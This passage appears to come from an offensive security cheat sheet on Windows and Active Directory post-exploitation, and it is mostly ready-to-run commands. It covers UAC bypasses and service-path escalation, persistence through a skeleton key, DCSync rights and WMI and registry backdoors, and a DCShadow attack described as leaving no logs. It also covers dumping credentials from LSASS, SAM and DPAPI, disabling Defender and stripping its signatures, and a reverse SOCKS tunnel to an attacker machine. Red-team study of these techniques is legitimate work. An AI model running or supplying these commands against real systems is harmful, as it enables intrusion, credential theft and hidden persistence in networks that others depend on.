# Exploit an unquoted service path vulnerability to spawn a beacon
Write-ServiceBinary -Name 'VulnerableSvc' -Command 'c:\windows\system32\rundll32 c:\Users\Public\beacon.dll,Update' -Path 'C:\Program Files\VulnerableSvc'
# Restart the service to exploit (not always required)
net.exe stop VulnerableSvc
net.exe start VulnerableSvc
Using SharpBypassUAC.
# Generate EncodedCommand
echo -n 'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update' | base64
# Use SharpBypassUAC e.g. from a CobaltStrike beacon
beacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==
In some cases, you may get away better with running a manual UAC bypass, such as the FODHelper bypass which is quite simple to execute in PowerShell.
# The command to execute in high integrity context
$cmd = "cmd /c start powershell.exe"
# Set the registry values
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force
# Trigger fodhelper to perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
# Clean registry
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Just drop a binary. Classic. 😎🚩
In current user folder, will trigger when current user signs in:
c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Or in the global startup folder, requires administrative privileges but will trigger as SYSTEM on boot and in a user context whenever any user signs in:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Must be run with DA privileges.
Run from DC. Enables password “mimikatz” for all users. 🚩
privilege::debug
misc::skeleton
Gives a user of your choosing the rights to DCSync at any time. May evade detection in some setups.
Add-ObjectACL -TargetDistinguishedName "dc=targetdomain,dc=com" -PrincipalSamAccountName BackdoorUser -Rights DCSync
The DSRM admin is the local administrator account of the DC. Remote logon needs to be enabled first.
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
Now we can login remotely using the local admin hash dumped on the DC before (with lsadump::sam
, see ‘Dumping secrets with Mimikatz’ below). Use e.g. ‘overpass-the-hash’ to get a session (see ‘Mimikatz’ above).
Give user WMI access to a machine, using Set-RemoteWMI cmdlet from Nishang. Can be run to persist access to e.g. DCs.
Set-RemoteWMI -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace 'root\cimv2'
For execution, see ‘Command execution with WMI’ above.
Give user PowerShell Remoting access to a machine, using Set-RemotePSRemoting.ps1 cmdlet from Nishang. Can be run to persist access to e.g. DCs.
Set-RemotePSRemoting -UserName BackdoorUser -ComputerName dc.targetdomain.com
For execution, see ‘Command execution with PowerShell Remoting’ above.
Using DAMP toolkit, we can backdoor the DC registry to give us access on the SAM
, SYSTEM
, and SECURITY
registry hives. This allows us to remotely dump DC secrets (hashes).
We add the backdoor using the Add-RemoteRegBackdoor.ps1
cmdlet from DAMP.
Add-RemoteRegBackdoor -ComputerName dc.targetdomain.com -Trustee BackdoorUser
Dump secrets remotely using the RemoteHashRetrieval.ps1
cmdlet from DAMP (run as ‘BackdoorUser’ user).
# Get machine account hash for silver ticket attack
Get-RemoteMachineAccountHash -ComputerName DC01
# Get local account hashes
Get-RemoteLocalAccountHash -ComputerName DC01
# Get cached credentials (if any)
Get-RemoteCachedCredential -ComputerName DC01
DCShadow is an attack that masks certain actions by temporarily imitating a Domain Controller. If you have Domain Admin or Enterprise Admin privileges in a root domain, it can be used for forest-level persistence.
Optionally, as Domain Admin, give a chosen user the privileges required for the DCShadow attack (uses Set-DCShadowPermissions.ps1
cmdlet).
Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose
Then, from any machine, use Mimikatz to stage the DCShadow attack.
# Set SPN for user
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"
# Set SID History for user (effectively granting them Enterprise Admin rights)
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519
# Set Full Control permissions on AdminSDHolder container for user
## Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl
## Then get target user SID:
Get-NetUser -UserName BackdoorUser | select objectsid
## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-1874506631-3219952063-538504511-45109]])
Finally, from either a DA session OR a session as the user provided with the DCShadow permissions before, run the DCShadow attack. Actions staged previously will be performed without leaving any logs 😈
Sometimes, LSASS is configured to run as a protected process (PPL). You can query this with PowerShell as follows.
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
If this is the case, you can’t just dump or parse LSASS, and you need to disable the protection with something like mimidrv.sys
. I won’t discuss how to do that here, but there are tools such as PPLDump available to help.
# Dump logon passwords
sekurlsa::logonpasswords
# Dump all domain hashes from a DC
## Note: Everything with /patch is noisy as heck since it writes to LSASS 🚩
lsadump::lsa /patch
# Dump only local users
lsadump::sam
# DCSync (requires 'ldap' SPN)
lsadump::dcsync /user:DOMAIN\krbtgt /domain:targetdomain.com
# Dump Windows secrets, such as stored creds for scheduled tasks (elevate first) 🚩
vault::list
vault::cred /patch
# Dump Kerberos encryption keys, including the AES256 key for better opsec (see 'Lateral Movement with Rubeus' section)
sekurlsa::ekeys
Mimikatz has quite some functionality to access Windows' DPAPI, which is used to encrypt many credentials, including e.g. browser passwords.
Note that Mimikatz will automatically cache the master keys that it has seen (check cache with dpapi::cache
), but this does NOT work if no Mimikatz session is persisted (e.g. in Cobalt Strike or when using Invoke-Mimikatz
). More information on using Mimikatz for DPAPI is available here.
# Find the IDs of protected secrets for a specific user
dir C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials
# Get information, including the used master key ID, from a specific secret (take the path from above)
dpapi::cred /in:C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3
# IF YOU ARE PRIVILEGED
# Dump all master keys from the current system
sekurlsa::dpapi
# IF YOU ARE NOT PRIVILEGED (session as target user required)
# Get the master key from the domain using RPC (the path contains the user SID, and then the ID of the masterkey identified in the previous step)
dpapi::masterkey /rpc /in:C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Protect\S-1-5-21-3865823697-1816233505-1834004910-1124\dd89dddf-946b-4a80-9fd3-7f03ebd41ff4
# Decrypt the secret using the retrieved master key
# Alternatively, leave out /masterkey and add /unprotect to decrypt the secret using the cached master key (see above for caveats)
dpapi::cred /in:C:\Users\[USERNAME]]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3 /masterkey:91721d8b1ec[...]e0f02c3e44deece5f318ad
We can also parse system secrets without using Mimikatz on the target system directly.
The preferred way to run Mimikatz is to do it locally with a dumped copy of LSASS memory from the target. Dumpert, Procdump, or other (custom) tooling can be used to dump LSASS memory.
# Dump LSASS memory through a process snapshot (-r), avoiding interacting with it directly
.\procdump.exe -r -ma lsass.exe lsass.dmp
After downloading the memory dump file on our attacking system, we can run Mimikatz and switch to ‘Minidump’ mode to parse the file as follows. After this, we can run Mimikatz' credential retrieval commands as usual.
sekurlsa::minidump lsass.dmp
We can dump secrets from the registry and parse the files “offline” to get a list of system secrets. 🚩
On the target, we run the following:
reg.exe save hklm\sam c:\users\public\downloads\sam.save
reg.exe save hklm\system c:\users\public\downloads\system.save
reg.exe save hklm\security c:\users\public\downloads\security.save
Then on our attacking box we can dump the secrets with Impacket:
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL > secrets.out
We can also create a “Volume Shadow Copy” of the SAM
and SYSTEM
files (which are always locked on the current system), so we can still copy them over to our local system. An elevated prompt is required for this.
wmic shadowcopy call create Volume='C:\'
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\public\sam.save
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\public\system.save
Note: All below commands require administrative privileges on the system!
You can query Defender exclusions using PowerShell. If it returns any excluded paths, just execute your malware from there!
Get-MpPreference | select-object -ExpandProperty ExclusionPath
Alternatively, you could add an exclusion directory for your shady stuff. 👀
Add-MpPreference -ExclusionPath "C:\Users\Public\Downloads\SuperLegitDownloadDirectory"
If you’re more aggro, you can disable Defender entirely. It goes without saying that disabling AV/EDR products is never a good idea in practice, best to work around it instead. 🚩
# Disable realtime monitoring altogether
Set-MpPreference -DisableRealtimeMonitoring $true
# Only disables scanning for downloaded files or attachments
Set-MpPreference -DisableIOAVProtection $true
As an alternative to disabling Defender, you can leave it enabled and just remove all virus signatures from it.
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
If you need to proxy traffic over a compromised Windows machine, Chisel (or SharpChisel) is a good choice. Chisel allows port forwarding, but my favorite technique is setting up a reverse SOCKS proxy on the target machine, allowing you to tunnel any traffic over the target system.
On our attacking machine (Linux in this case), we start a Chisel server on port 80 in reverse SOCKS5 mode.
sudo ./chisel server -p 80 --reverse --socks5
Then, on our compromised target system, we connect to this server and tell it to proxy all traffic over it via the reverse SOCKS5 tunnel.
.\chisel.exe client 192.168.49.67:80 R:socks
A proxy is now open on port 1080 of our linux machine. We can now use e.g. ProxyChains to tunnel over the target system.
There are lots of files that may contain interesting information. Tools like WinPEAS or collections like PowerSploit may help in identifying juicy files (for privesc or post-exploitation).
Below is a list of some files I have encountered to be of relevance. Check files based on the programs and/or services that are installed on the machine.
In addition, don’t forget to enumerate any local databases with
sqlcmd
orInvoke-SqlCmd
!
# All user folders
## Limit this command if there are too many files ;)
tree /f /a C:\Users
# Web.config
C:\inetpub\www\*\web.config
# Unattend files
C:\Windows\Panther\Unattend.xml
# RDP config files
C:\ProgramData\Configs\
# Powershell scripts/config files
C:\Program Files\Windows PowerShell\
# PuTTy config
C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty
# FileZilla creds
C:\Users\[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml
# Jenkins creds (also check out the Windows vault, see above)
C:\Program Files\Jenkins\credentials.xml
# WLAN profiles
C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml
# TightVNC password (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts)
Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Name "Password" | select -ExpandProperty Password